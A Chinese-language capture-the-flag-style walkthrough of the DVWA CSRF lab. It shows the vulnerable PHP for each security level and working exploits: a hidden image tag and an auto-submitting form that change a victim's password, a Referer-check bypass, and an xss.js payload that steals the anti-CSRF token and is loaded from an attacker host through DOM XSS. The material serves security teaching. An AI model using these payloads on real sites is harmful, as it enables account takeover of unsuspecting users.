0x00 CSRF介绍
CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。
可以这样理解CSRF:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
0x01Low Security Level
Tools
DVWA CSRF 通关教程
Web安全 / 2018-04-07 / 3 条评论 / 6,753 viewsCSRF 介绍
CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。可以这样理解CSRF:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。Low Security Level
<?phpif( isset( $_GET[ 'Change' ] ) ) {
// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {
// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {
// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
服务器通过GET方式接收修改密码的请求,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
Exploit
1.构造如下链接:
http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#
当受害者点击了这个链接,密码就会被改成test
2.使用短链接来隐藏 URL:
为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:
PS:提供一个短网址生成网站
3.构造攻击页面:
方式 1 :
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
构造的页面test.html如下:
<img src="http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
将test.html文件放在攻击者自己准备的网站上:
当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:
http://www.hack.com/test.html
误认为是自己点击的是一个失效的url:
但实际上已经遭受了CSRF攻击,密码已经被修改为test
我们将访问test.html时的数据包抓下来:
方式 2:
查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改。
构造的页面dvwa.html如下:
<body onload="javascript:csrf()">
<script> function csrf(){
document.getElementById("button").click(); } </script>
<style> form{
display:none; } </style><form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET">New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br /><br /><input type="submit" id="button" name="Change" value="Change" /></form>
</body>
当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:
http://www.hack.com/dvwa.html
Medium Security Level
<?phpif( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {
// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {
// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {
// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
相关函数介绍:
stripos()函数:
stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量$_SERVER中的两个值:
$_SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
$_SERVER[‘SERVER_NAME’]:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。
用户正常登录使用修改密码操作时,可以看到:
Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是|$_SERVER['HTTP_REFERER']
|的值中必须包含|$_SERVER['SERVER_NAME']
|,以此来抵御CSRF攻击。
Exploit
将Low Security Level第三种方法中的攻击页面test.html复制一份,命名为
www.dvwa.com.html:
我们还是按照之前的操作,先诱惑受害者点击|http://www.hack.com/test.html
|,抓包,并发送到Repeater中:
执行失败,出现:That request didn’t look correct.
此时让受害者访问|www.dvwa.com.html|
文件,即在Repeater中修改HTTP数据包中的Referer参数为:
http://www.hack.com/www.dvwa.com.html
成功修改了密码:
High Security Level
<?phpif( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {
// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {
// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>
可以看到,High Security Level的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token:
http://172.16.123.132/DVWA/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=abf812881f8f67e687a50639ee58f29d#
向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
Exploit
要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
xss.js:
alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200){
var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';if(count==0){
count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
xss.js放置于攻击者的网站上:
http://www.hack.com/xss.js
DOM XSS 与 CSRF 结合:
CSRF结合同Security Level的DOM XSS,通过XSS来获取用户的user_token;通过CSRF来伪造URL,冒充用户身份修改密码。用以下链接来让受害者访问:
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>
诱导点击后,成功将密码修改为test
Impossible Security Level
<?phpif( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {
// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>
Impossible Security Level的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
转载自:AnCoLin’s Blog|影风博客DVWA CSRF 通关教程